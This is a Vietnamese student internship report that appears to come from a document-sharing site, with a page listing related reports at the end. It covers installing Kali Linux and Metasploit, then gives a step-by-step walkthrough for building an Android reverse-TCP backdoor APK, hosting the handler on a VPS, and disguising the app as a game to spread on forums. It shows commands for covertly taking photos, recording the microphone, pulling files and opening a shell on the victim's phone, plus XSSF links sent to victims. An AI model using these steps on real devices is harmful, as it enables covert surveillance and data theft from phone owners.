Một trong những vấn đề được các nhà phát triển Kali chú trọng nhiều nhất, chính là sự hỗ
trợ cho một số lượng lớn phần cứng bên trong các thiết bị mạng không dây hay USB Dongles.
Một yêu cầu quan trọng khi các chuyên gia bảo mật thực hiện đánh giá mạng không dây.
 Khả năng tùy biến cao
Kali rất linh hoạt khi đề cập đến giao diện hoặc khả năng tuỳ biến hệ thống. Đối với giao
diện, giờ đây người dùng đã có thể chọn cho mình nhiều loại Desktops như GNOME, KDE hoặc
XFCE tùy theo sở thích và thói quen sử dụng.
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
50
 Dễ dàng nâng cấp giữa các phiên bản Kali trong tương lai
Đối với bất cứ ai sử dụng Kali, đây là một tính năng quan trọng khi bảo trì hệ điều hành
Kali. Với BackTrack, bất kỳ lúc nào khi phiên bản mới được công bố thì chúng ta đều phải cài
lại mới hoàn toàn (Ngoại trừ phiên bản R2 lên R3).
Giờ đây với Kali, nhờ vào sự chuyển đổi sang nền tảng hệ điều hành Debian, Kali đã dễ dàng
hơn trong việc âng cấp hệ thống khi phiên bản mới xuất hiện, người dùng không phải cài lại mới
hoàn toàn nữa
4.3. Cài đặt Kali Linux
4.3.1. Chuẩn bị.
 File iso Kali Linux: http://www.kali.org/downloads/
 Máy có cài sẵn Vmware.
4.3.2. Cài đặt.
Trước tiên cần tải về file ISO phiên bản mới nhất của Kali Linux trên link dưới, bài này ta sẽ
tiến hành cài phiên bản Kali Linux 64 bit. http://www.kali.org/downloads/
Hình 38. Nhấp vào link để down file iso của Kali
Tất nhiên ta cần phải có Vmware, việc tải và cài đặt Vmware rất dễ dàng, ta có thể tìm trên
mạng. Sau khi có file ISO ta bắt đầu tiến hành cài đặt lên máy ảo.
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
51
Bắt đầu thiết lập các thông số cho wmware:
Tùy vào cấu hình máy tính các bạn có thể lựa chọn các bản Kali linux khác nhau và thiết
lập cấu hình máy ảo.
Cấu hình máy ảo tối thiểu: 8g ổ cứng và 512 Mb ram.
Một số lưu ý khi sử dụng vmware:
Lỗi chế độ card bright set auto có thể khiến máy ảo không ra được mạng.Nên thiết lập như
hình dưới.
menu->edit-
>vitualeditor
Hình 39. Chọn card mạng cho VMnet0
Mở VMware, chọn File ở góc phải trên màn hình, chọn New Virtual Machine... . Trên cửa sổ
mới mở, chọn custom và nhấn next
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
52
Hình 40. Chọn phương thức cài đặt
Tiếp tục nhấn next đến khi yêu cầu chọn file ISO thì ta chọn ISO của kali đã tải trước đó:
Hình 41. Chọn phần cứng máy ảo
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
53
Hình 42.Chọn cách cài hệ diều hành
Hình 43. Chọn loại Hệ điều hành sẽ cài
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
54
Hình 44. Chọn đường dẫn lưu máy ảo
Hình 45. Chọn số nhân sẽ sử dụng trong máy ảo
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
55
Hình 46. Chọn lượng ram sẽ sử dụng trong máy ảo
Hình 47. Chọn cách kết nối mạng là Bridged
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
56
Hình 48. Chọn loại điều khiển nhập xuất
Hình 49. Chọn loại đĩa sẽ được tạo
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
57
Hình 50. Chọn cách thức sử dụng đĩa
Hình 51. Chọn dung lượng tối đa của đĩa
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
58
Hình 52. Tìm đường dẫn đến file iso Kali Linux.
B2.Tiến hành cài đặt:
Start máy ảo:
Chọn chế độ install graphic.
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
59
Hình 53. Cài đặt Kali Linux
Hình 54 .Chọn Ngôn Ngữ.
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
60
Hình 55. Bắt đầu tiến trình
cài
Hình 56.Đặt tên Hostname
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
61
Hình 57. Đặt tên Domain
name
Hình 58. Đặt password cho user root
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
62
Hình 59. Tùy chọn ổ đĩa.
Hình 60. Chọn ổ đĩa cài đặt.
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
63
Hình 61. Phương thức cài đặt ổ
đĩa.
Hình 62. Xác nhận thông số cài đặt
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
64
Hình 63. Xác nhận định dạng ổ đĩa.
Hình 64. Cài đặt bắt đầu.
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
65
Kết thúc quá trình install bạn chọn như hình dưới:
Hình 65. Tìm kiếm cập nhật qua internet.
Ở đây nếu chọn Yes tiến trình sẽ kiểm tra có hay không bản cập nhật qua mạng. Ta chọn No để
nhanh chóng cài đặt (có thể cập nhật sau khi cài đặt xong).
Hình 66. Xác nhận cài đặt GRUD.
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
66
Tiếp theo tiến trình sẽ hỏi có cài đặt và sử dụng GRUB để khởi động không. Ta chọn Yes
=> Continue.
Hình 67. Xác nhận cài đặt thành công.
Thông báo xác nhận Kali Linux Đã cài đặt xong. Ta chọn Continue tiến trình sẽ thực hiện xoa
một số file dư thừa sau khi cài đặt rồi khởi động lại.Sau khi hoàn tất phần cuối và khởi động lại,
đến giao diện login ta nhập user là root và password đã đặt ở phần trước.Vậy là ta đã hoàn tất
cài đặt kali linux trên Vmware
Hình 68. Giao diện Kali linux
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
67
4.4. Tạo mã độc trên Kali Linux để xâm nhập Android.
Trước khi tiến hành ta nên thiết lập phần Network như sau:
Vào VM => Settings... ở thanh lựa chọn của Vmware
Vào Network Adapter và chọn Bridged: connection directly to the physical network
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
68
Vào Edit => Virtual Network Editor...
Trên phần Bridge (connect VMs directly to the external network) chọn adapter của máy
thật
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
69
4.4.1. Tạo lập Backdoor
Tiếp theo ta sẽ tiến hành xâm nhập và điều khiển Android bằng Kali Linux. Đầu tiên ta cần
tạo 1 file apk có chứa backdoor bằng cách:
Đầu tiên mở terminal và gõ dòng lệnh ifconfig để biêt thông tin ip của máy.
Sử dụng lệnh msfpayload android/meterpreter/reverse_tcp lhost=192.168.220.128
lport=8080 R > /root/Desktop/App.apk để tạo backdoor. Với 192.168.220.128 là ip đã tìm
được ở trên.
Lệnh trên sẽ tạo ra 1 file app.apk trên desktop của Kali, đây chính là một Metasploit
reverse tcp backdoor.
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
70
Tiếp theo, gõ lệnh msfconsole
Sau khi msfconsile load xong, ta tạo một handler để xử lí dữ liệu truyền về bằng cách gõ
lệnh sau:
use exploit/multi/handler
set payload /meterpreter/reverse_tcp
set lhost 192.168.220.128 – nhập địa chỉ IP giống với khi tạo payload ở trên.
set port 8080 – nhập port giống với port khi tạo payload ở trên.
exploit
Màn hình sẽ như sau, lúc này ta đang chờ một máy android mở backdoor.
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
71
Đến đây, vấn đề của chúng ta là làm sao để phân tán file chứa backdoor App.apk đến các
máy Android. Ta có thể ngụy trang file App.apk thành một ứng dụng, game va tiến hành chia sẻ
trên forum. Ở đây thử với một máy Sony Xperia Z giả lập, tải về app.apk, cài đặt và mở lên
được giao diện như dưới, nhấp vào nút reverse_tcp:
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
72
Vậy là ta đã kết nối thành công tới máy Android này, ở msfconsole sẽ như sau:
Để xem tất cả các lệnh hỗ trợ nhập help
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
73
Để xem thông tin về máy, nhập lệnh SysInfo
Xem thông tin card mạng nhập lệnh ipconfig:
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
74
Sử dụng camera:
Để xem danh sách camera, nhập webcam_list
Để chụp hình bằng camera, nhập webcam_snap x với x là id của camera xem ở danh sách
camera ở phần trước. Ví dụ như sau:
File hình đã chụp từ camera của máy android là RbWBRryj.jpeg được lưu ở /root của
máy
Ghi âm
Để thực hiện ghi âm, nhập lênh record_mic và file ghi âm sẽ được lưu về máy
Ta được file ghi âm
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
75
Lấy file từ sd card
Để vào sdcard, nhập lệnh : cd /sdcard và lệnh ls để xem danh sách file, thư mục
Ví dụ ở đây, ta tải file App.apk trong thư mục sdcard.dùng lệnh download App.apk
Và file này sẽ được tải về thư mục root của máy Kali
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
76
Nhập lệnh shell để điều khiển máy trong chế độ shell. Tai đây ta nhập lệnh ls –l để xem
các file và quyền hạn cần để sử dụng.
Như các bạn cũng
thấy thư muc data
cần quyền hạn cao nhất để tiến hành sử dụng. Mà các dữ liệu quan trọng như Contacts, SMS, tài
khoản đồng bộ Google… đều được lưu tại đây. Vi thế ta chỉ có thể lấy cắp các thông tin này nếu
như máy Android bị xâm nhập đã được root (hack chiếm quyền điều khiển cao nhất).
4.4.2. XSSF
Để cài đặt XSSF cho kali sử sụng 3 câu lệnh:
 msfupdate
 cd /opt/metasploit/apps/pro/msf3
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
77
 svn export http://xssf.googlecode.com/svn/trunk ./ --force
Xài lệnh trên hình để vào XSSF
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
78
Tiếp tục là lệnh
 Xssf_urls
Ta thấy XSSF LOG PAGE : http://192.168.220.128:80/xssf/gui.html?guipage=main ,mở trình
duyệt để vào địa chỉ này để vào giao diện XSSF
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
79
Địa chỉ gửi cho điện thoại nạn nhân là: http://192.168.220.128:80/xssf/test.html
Kết quả trên terminal khi có diện thoại Android vào link này:
Lệnh xssf_victim dùng để hiện thong tin nạn nhân
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
80
Lệnh xssf_information dùng để hiện thông tin nạn nhân chi tiết hơn
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
81
Tiếp tục lệnh search auxiliary/xssf để để xem tất cả các lệnh được hỗ trợ
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
82
Refesh lại lại trang web sẽ thấy thông tin nạn nhân
Ví dụ: sử dụng lệnh alert để cảnh báo nạn nhân:
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
83
Gõ run để thực hiện lệnh
5. Kết luận
Như vậy, ta đã tìm hiểu về Kali Linux, các cải tiến của nó so với BackTrack. Cách sử
dụng Metasploit của Kali Linux để xâm nhập và điều khiển, truyền dữ liệu từ máy Android
về máy.
Sau khi thử nghiệm cách tấn công này, ta rút ra không nên nhấp vào link lạ hay tải về
và chạy file lạ trên máy android để bảo đảm không cài nhầm backdoor như đã thấy ở trên,
không tiến hành root may nếu không thực sự cần thiết vì chỉ cần máy bị nhiễm backdoor là ta
đã có thể xem như có toàn quyền kiểm soát máy Android đó.
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
84
Chương II:Làm trên VPS
1. Giới thiệu về VPS:
1.1. Định nghĩa
Máy chủ ảo (Virtual Private Server -VPS) là phương pháp phân chia một máy chủ vật lý
thành nhiều máy chủ ảo. Trong khi trên một server chạy một Share Host thì có thể có hàng
trăm tài khoản chạy cùng lúc, nhưng trên server chạy VPS thì con số này chỉ bằng 1/10. Do
vậy, VPS có hiệu năng cao hơn Share Host rất nhiều.
Mỗi máy chủ là một hệ thống hoàn toàn riêng biệt, có hệ điều hành riêng, có toàn quyền
quản lý root và có thể restart lại hệ thống bất cứ lúc nào. Do vậy, VPS hạn chế 100% khả
năng bị hack local.
Trên 1 server chạy Share Host có nhiều Website chạy chung với nhau, chung tài nguyên
server, nếu 1 Website bị tấn công Ddos, botnet quá mạnh sẽ làm ảnh hưởng đến các Website
khác cùng server, riêng server VPS, một tài khoản trên VPS bị tấn công thì mọi tài khoản
khác trên VPS đều hoạt động bình thường.
VPS dành cho các doanh nghiệp vừa và những trang Web lớn hoặc mã nguồn nặng, nếu
chạy trên Share Host sẽ không đáp ứng đủ yêu cầu.Tuy nhiên, VPS đòi hỏi người sử dụng
phải có thêm một số kiến thức về bảo mật, cấu hình server,….
1.2. Đặc điểm về thông số VPS
Hoạt động hoàn toàn như một server riêng nên sở hữu một phần CPU riêng, dung lượng
RAM riêng, dung lượng ổ HDD riêng, địa chỉ IP riêng và hệ điều hành riêng.
Tiết kiệm được nhiều chi phí so với việc thuê một server riêng.
Ngoài việc dùng VPS để thiết lập Web Server, Mail Server cũng như các ứng dụng khác
thì có thể cài đặt để thực hiện những yêu cầu riêng như truy cập Web bằng trình duyệt Web
trên VPS, dowload/upload bittorrent với tốc độ cao…
Trong trường hợp VPS bị thiếu tài nguyên thì có thể dễ dàng nâng cấp tài nguyên mà
không cần phải khởi động lại hệ thống.
Có thể cài lại hệ điều hành với thời gian từ 5-10 phút.
1.3. Giá trị khi sử dụng VPS
Server mạnh với nhiều cấu hình cho phép khách hàng dễ dàng lựa chọn gói VPS phù
hợp.
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
85
Miễn phí chi phí cài đặt ban đầu cũng như cấu hình hoạt động cho khác hàng.
Hỗ trợ khác hàng cài đặt miễn phí thêm các phần mềm riêng.
Được cấu hình và cài đặt hệ thống Firewall và DDOS Protection.
Bộ phận kỹ thuật kịp thời can thiệp nhanh chóng nếu có sự cố phát sinh.
2. Cài đặt mã độc trên VPS:
2.1. Giới thiệu
Metasploit Framework là một môi trường dùng để kiểm tra, tấn công và khai thác lỗi của các service.
Metasploit được xây dựng từ ngôn ngữ hướng đối tượng Perl, với những components được viết bằng
C, assembler, và Python. Metasploit có thể chạy trên hầu hết các hệ điều hành: Linux, Windows,
MacOS. Ta có thể download chương trình tại www.metasploit.com
2.2. Các thành phần của Metasploit
2.2.1. Metasploit hỗ trợ nhiều giao diện với người dùng
- Console interface: dùng msfconsole.bat. Msfconsole interface sử dụng các dòng lệnh
để cấu hình, kiểm tra nên nhanh hơn và mềm dẻo hơn
- Web interface: dùng msfweb.bat, giao tiếp với người dùng thông qua giao diện web
- Command line interface: dùng msfcli.bat
2.2.2. Enviroment
- Global Enviroment: được thực thi thông qua 2 câu lệnh setg và unsetg, những options
được gán ở đây sẽ mang tính toàn cục, được đưa vào tất cả các module exploits
- Temporary Enviroment: được thực thi thông qua 2 câu lệnh set và unset, enviroment
này chỉ được đưa vào module exploit đang load hiện tại, không ảnh hưởng đến các
module exploit khác
Ta có thể lưu lại enviroment mình đã cấu hình thông qua lệnh save. Môi trường đó sẽ được
lưu trong /.msf/config và sẽ được load trở lại khi user interface được thực hiện
Những options nào mà chung giữa các exploits module như là: LPORT, LHOST,
PAYLOAD thì ta nên được xác định ở Global Enviroment
vd: msf> setg LPORT 80
msf> setg LHOST 172.16.8.2
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
86
2.3. Cài đặt Metasploit Community
Trên hệ điều hành windows
Bước 1: Tải gói cài đặt của Metasploit, ở đây ta có 2 phiên bản là Pro và Community.
Ta chọn phiên bản Community miễn phí và dùng cho nghiên cứu.
Bước 2: Điền họ và tên, nghề nghiệp, tên công ty và email để nhận key kích hoạt
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
87
Bước 3: Sau khi tải về gói cài đặt của Metasploit Community ta cài đặt như những
phần mềm khác. Chọn folder cài đặt:
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
88
Cổng của dịch vụ Metasploit sẽ sử dụng, mặc định là 3790:
Chọn server và ngày hết hạn, để mặc định:
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
89
Quá trình cài đặt của Metasploit:
Bước 4: Tiến trình hoàn tất, chọn Finish và truy cập đến giao diện web của chương trình:
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
90
Bước 5: Sau khi Finish trình duyệt web mở lên và đi tới giao diện
Click vào link: https://localhost:3790/ sẽ dẫn đến trang tạo tài khoản để login vào
Metasploit. Điền Username, Password sử dụng và một số thông tin bổ xung, rồi chọn Create
Account:
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
91
Bước 6: Trình duyệt chuyển đến trang nhập key để active chương trình, key này được
gửi miễn phí đến mail khi tải phần mềm. Sau khi điền key nhấn Activate License:
Trên hệ điều hành Ubuntu
Bước 1: Tải gói cài đặt của Metasploit, ở đây ta có 2 phiên bản là Pro và Community. Ta chọn
phiên bản Community miễn phí và dùng cho nghiên cứu.
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
92
Tải về phiên bản phù hợp
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
93
Bước 2:Bật terminal
Thay đổi chế độ của trình cài đặt được thực thi.
Đối với hệ thống 64-bit:
chmod + x /path/to/metasploit-mới nhất-linux-x64-installer.run
Đối với hệ thống 32-bit:
chmod + x /path/to/metasploit-mới nhất-linux-installer.run
Chọn một trong các tùy chọn dưới đây để chạy trình cài đặt:
Đối với hệ thống 64-bit:
sudo /path/to/metasploit-mới nhất-linux-x64-installer.run
Đối với hệ thống 32-bit:
sudo /path/to/metasploit-mới nhất-linux-installer.run
Bước 3: Khi cửa sổ cài đặt xuất hiện, nhấp Forward để bắt đầu quá trình cài đặt bình thường
như trong windows.
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
94
Chấp nhận các thỏa thuận cấp phép và nhấp vào Chuyển tiếp.
Chọn một thư mục cài đặt và nhấp vào Chuyển tiếp.
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
95
Chọn Yes để đăng ký Metasploit như một dịch vụ (đề nghị). Nhấn vào Forward để tiếp tục.
Khi Disable Anti-virus và tường lửa cửa sổ xuất hiện, xác minh rằng máy tính của bạn không
có phần mềm chống virus hoặc tường lửa ứng dụng đang chạy. Nhấn vào Forwardwhen bạn
đã sẵn sàng.
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
96
Nhập số cổng mà bạn muốn dịch vụ Metasploit để sử dụng. Các cổng mặc định là 3790.
Nhấp
Forwardto tiếp tục.
Nhập tên máy chủ sẽ được sử dụng để tạo ra các chứng chỉ SSL và số ngày mà bạn muốn
chứng chỉ SSL để vẫn có hiệu lực.
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
97
Bước 4: Click Forward để tiếp tục. Quá trình cài đặt bắt đầu.
Khi Finish trình duyệt web mở lên và đi tới giao diện
Click vào link: https://localhost:3790/ sẽ dẫn đến trang tạo tài khoản để login vào
Metasploit. Điền Username, Password sử dụng và một số thông tin bổ xung, rồi chọn Create
Account:
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
98
Bước 5: Trình duyệt chuyển đến trang nhập key để active chương trình, key này được
gửi miễn phí đến mail khi tải phần mềm. Sau khi điền key nhấn Activate License:
3. Từ VPS xâm nhập vào thiết bị Android:
Các bước thực hiện
Bước 1:Sử dụng Kali Linux để tạo file APK làm backdoor để hack vào Android như trên
mang Lan với địa chỉ IP là địa chỉ của VPS
Chúng ta vẫn sử dụng lệnh “Msfpayload android/meterpreter/reverse_tcp
lhost=14.0.21.184 lport=4444 R > /root/Desktop/nice.apk” ở đây địa chỉ VPS là 14.0.21.184
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
99
Bước 2:Khởi động Metasploit Console trên VPS
Bước 3: Chúng ta thực hiện các bước xâm nhập như đã đề cập ở phần trên, ở đây chỉ khác là sử dụng
chính IP của VPS
Chú ý: lhost và lport phải giống với lhost và lport khi tạo backdoor
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
100
Bước 4: Sau khi máy nạn nhân tải về file apk đã được tạo ra, máy android khi mở ứng dụng đó lên
đó sẽ bị hack
Bước 5: Sử dụng lệnh Help để xem các lệnh được metasploit hỗ trợ
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
101
 Để xem các lệnh ta gõ help
 Để xem thông tin về máy, nhập lệnh SysInfo
 Để xem các tác vụ đang chạy gõ ps
 Để upload gõ lệnh upload
 Xem ip gõ ipconfig
 Để di chuyển đến thư mục nào ta dụng lệnh cd <đường dẫn đến thư mục>
GVHD: VÕ ĐỖ THẮNG SVTH: NGUYỄN HOÀNG THẠCH
102
 Lệnh ls để xem trong thư mục có những gì
• Sử dụng camera:
Để xem danh sách camera, nhập webcam_list
Để chụp hình bằng camera, nhập webcam_snap x với x là id của camera xem ở danh sách camera ở
phần trước hay sau.
[Athena]Bao cao cuoi ki
[Athena]Bao cao cuoi ki
[Athena]Bao cao cuoi ki
[Athena]Bao cao cuoi ki
[Athena]Bao cao cuoi ki
[Athena]Bao cao cuoi ki
[Athena]Bao cao cuoi ki
[Athena]Bao cao cuoi ki
[Athena]Bao cao cuoi ki
[Athena]Bao cao cuoi ki
[Athena]Bao cao cuoi ki
[Athena]Bao cao cuoi ki
[Athena]Bao cao cuoi ki
[Athena]Bao cao cuoi ki
[Athena]Bao cao cuoi ki
[Athena]Bao cao cuoi ki
[Athena]Bao cao cuoi ki
[Athena]Bao cao cuoi ki
[Athena]Bao cao cuoi ki

More Related Content

What's hot

Báo cáo cuối kì
Báo cáo cuối kìBáo cáo cuối kì
Báo cáo cuối kìDaewoo Han
 
Báo cáo thực tập công ty ATHENA.
Báo cáo thực tập công ty ATHENA.Báo cáo thực tập công ty ATHENA.
Báo cáo thực tập công ty ATHENA.Tân Duy
 
Bao cao ck update final
Bao cao ck update finalBao cao ck update final
Bao cao ck update finalDuy Nguyen
 
Báo cáo thực tập athena
Báo cáo thực tập athenaBáo cáo thực tập athena
Báo cáo thực tập athenaLe Chuong
 
Baocao pham nguyendanghoang
Baocao pham nguyendanghoangBaocao pham nguyendanghoang
Baocao pham nguyendanghoangHoàng Phạm
 
Báo cáo thực tập cuối kỳ đề tài xây dựng website thương mại điện tử bằng Open...
Báo cáo thực tập cuối kỳ đề tài xây dựng website thương mại điện tử bằng Open...Báo cáo thực tập cuối kỳ đề tài xây dựng website thương mại điện tử bằng Open...
Báo cáo thực tập cuối kỳ đề tài xây dựng website thương mại điện tử bằng Open...vanphu2103
 
Trieu van phubaocao
Trieu van phubaocaoTrieu van phubaocao
Trieu van phubaocaohoainhan1501
 
Nguyenthithuhien_baocaothuctap
Nguyenthithuhien_baocaothuctapNguyenthithuhien_baocaothuctap
Nguyenthithuhien_baocaothuctapThu Hien
 
de an system hacking
de an system hacking de an system hacking
de an system hacking Anh Bình
 
Báo cáo thực tập chuyên đề Wordpress
Báo cáo thực tập chuyên đề WordpressBáo cáo thực tập chuyên đề Wordpress
Báo cáo thực tập chuyên đề Wordpressvngnhuhaiyen236
 
Bao cao thuc tap gk
Bao cao thuc tap gkBao cao thuc tap gk
Bao cao thuc tap gkice_eyes
 
Báo cáo thực tập cuối kỳ đề tài xây dựng website thương mại điện tử bằng Open...
Báo cáo thực tập cuối kỳ đề tài xây dựng website thương mại điện tử bằng Open...Báo cáo thực tập cuối kỳ đề tài xây dựng website thương mại điện tử bằng Open...
Báo cáo thực tập cuối kỳ đề tài xây dựng website thương mại điện tử bằng Open...vanphu2103
 
Báo cáo thực tập Athena - CNTT
Báo cáo thực tập Athena - CNTTBáo cáo thực tập Athena - CNTT
Báo cáo thực tập Athena - CNTTVu Tran
 
[Báo cáo Thực tập Athena] Nghiên cứu cơ chế routing của Cisco, mô phỏng trên ...
[Báo cáo Thực tập Athena] Nghiên cứu cơ chế routing của Cisco, mô phỏng trên ...[Báo cáo Thực tập Athena] Nghiên cứu cơ chế routing của Cisco, mô phỏng trên ...
[Báo cáo Thực tập Athena] Nghiên cứu cơ chế routing của Cisco, mô phỏng trên ...Phan Hữu Linh
 
Báo Cáo Thực Tập Athena - SYSTEM HACKING - DƯƠNG ĐÌNH TÚ
Báo Cáo Thực Tập Athena - SYSTEM HACKING - DƯƠNG ĐÌNH TÚBáo Cáo Thực Tập Athena - SYSTEM HACKING - DƯƠNG ĐÌNH TÚ
Báo Cáo Thực Tập Athena - SYSTEM HACKING - DƯƠNG ĐÌNH TÚCon Ranh
 

What's hot (19)

Báo cáo cuối kì
Báo cáo cuối kìBáo cáo cuối kì
Báo cáo cuối kì
 
Báo cáo thực tập công ty ATHENA.
Báo cáo thực tập công ty ATHENA.Báo cáo thực tập công ty ATHENA.
Báo cáo thực tập công ty ATHENA.
 
Bao cao ck update final
Bao cao ck update finalBao cao ck update final
Bao cao ck update final
 
Đề tài: Xây dựng, triển khai và quản lý mô hình mạng, HAY
Đề tài: Xây dựng, triển khai và quản lý mô hình mạng, HAYĐề tài: Xây dựng, triển khai và quản lý mô hình mạng, HAY
Đề tài: Xây dựng, triển khai và quản lý mô hình mạng, HAY
 
Báo cáo thực tập athena
Báo cáo thực tập athenaBáo cáo thực tập athena
Báo cáo thực tập athena
 
Baocao pham nguyendanghoang
Baocao pham nguyendanghoangBaocao pham nguyendanghoang
Baocao pham nguyendanghoang
 
Báo cáo thực tập cuối kỳ đề tài xây dựng website thương mại điện tử bằng Open...
Báo cáo thực tập cuối kỳ đề tài xây dựng website thương mại điện tử bằng Open...Báo cáo thực tập cuối kỳ đề tài xây dựng website thương mại điện tử bằng Open...
Báo cáo thực tập cuối kỳ đề tài xây dựng website thương mại điện tử bằng Open...
 
NGHIEN CUU VA TRIEN KHAI VPN
NGHIEN CUU VA TRIEN KHAI VPN NGHIEN CUU VA TRIEN KHAI VPN
NGHIEN CUU VA TRIEN KHAI VPN
 
Trieu van phubaocao
Trieu van phubaocaoTrieu van phubaocao
Trieu van phubaocao
 
Nguyenthithuhien_baocaothuctap
Nguyenthithuhien_baocaothuctapNguyenthithuhien_baocaothuctap
Nguyenthithuhien_baocaothuctap
 
Android
AndroidAndroid
Android
 
de an system hacking
de an system hacking de an system hacking
de an system hacking
 
báo cáo cuối kì
báo cáo cuối kìbáo cáo cuối kì
báo cáo cuối kì
 
Báo cáo thực tập chuyên đề Wordpress
Báo cáo thực tập chuyên đề WordpressBáo cáo thực tập chuyên đề Wordpress
Báo cáo thực tập chuyên đề Wordpress
 
Bao cao thuc tap gk
Bao cao thuc tap gkBao cao thuc tap gk
Bao cao thuc tap gk
 
Báo cáo thực tập cuối kỳ đề tài xây dựng website thương mại điện tử bằng Open...
Báo cáo thực tập cuối kỳ đề tài xây dựng website thương mại điện tử bằng Open...Báo cáo thực tập cuối kỳ đề tài xây dựng website thương mại điện tử bằng Open...
Báo cáo thực tập cuối kỳ đề tài xây dựng website thương mại điện tử bằng Open...
 
Báo cáo thực tập Athena - CNTT
Báo cáo thực tập Athena - CNTTBáo cáo thực tập Athena - CNTT
Báo cáo thực tập Athena - CNTT
 
[Báo cáo Thực tập Athena] Nghiên cứu cơ chế routing của Cisco, mô phỏng trên ...
[Báo cáo Thực tập Athena] Nghiên cứu cơ chế routing của Cisco, mô phỏng trên ...[Báo cáo Thực tập Athena] Nghiên cứu cơ chế routing của Cisco, mô phỏng trên ...
[Báo cáo Thực tập Athena] Nghiên cứu cơ chế routing của Cisco, mô phỏng trên ...
 
Báo Cáo Thực Tập Athena - SYSTEM HACKING - DƯƠNG ĐÌNH TÚ
Báo Cáo Thực Tập Athena - SYSTEM HACKING - DƯƠNG ĐÌNH TÚBáo Cáo Thực Tập Athena - SYSTEM HACKING - DƯƠNG ĐÌNH TÚ
Báo Cáo Thực Tập Athena - SYSTEM HACKING - DƯƠNG ĐÌNH TÚ
 

Similar to [Athena]Bao cao cuoi ki

Báo cáo cuối kì
Báo cáo cuối kìBáo cáo cuối kì
Báo cáo cuối kìngochaole
 
Xây dựng hệ thống hỗ trợ tìm kiếm và gợi ý học bổng du học, Nguyễn Thị Thuỳ D...
Xây dựng hệ thống hỗ trợ tìm kiếm và gợi ý học bổng du học, Nguyễn Thị Thuỳ D...Xây dựng hệ thống hỗ trợ tìm kiếm và gợi ý học bổng du học, Nguyễn Thị Thuỳ D...
Xây dựng hệ thống hỗ trợ tìm kiếm và gợi ý học bổng du học, Nguyễn Thị Thuỳ D...Man_Ebook
 
Bao cao ck update lan 1
Bao cao ck update lan 1Bao cao ck update lan 1
Bao cao ck update lan 1Duy Nguyen
 
Báo cáo thực tập Athena
Báo cáo thực tập AthenaBáo cáo thực tập Athena
Báo cáo thực tập AthenaKhánh Trung Lý
 
Demo_chưa sửa hết.pdf
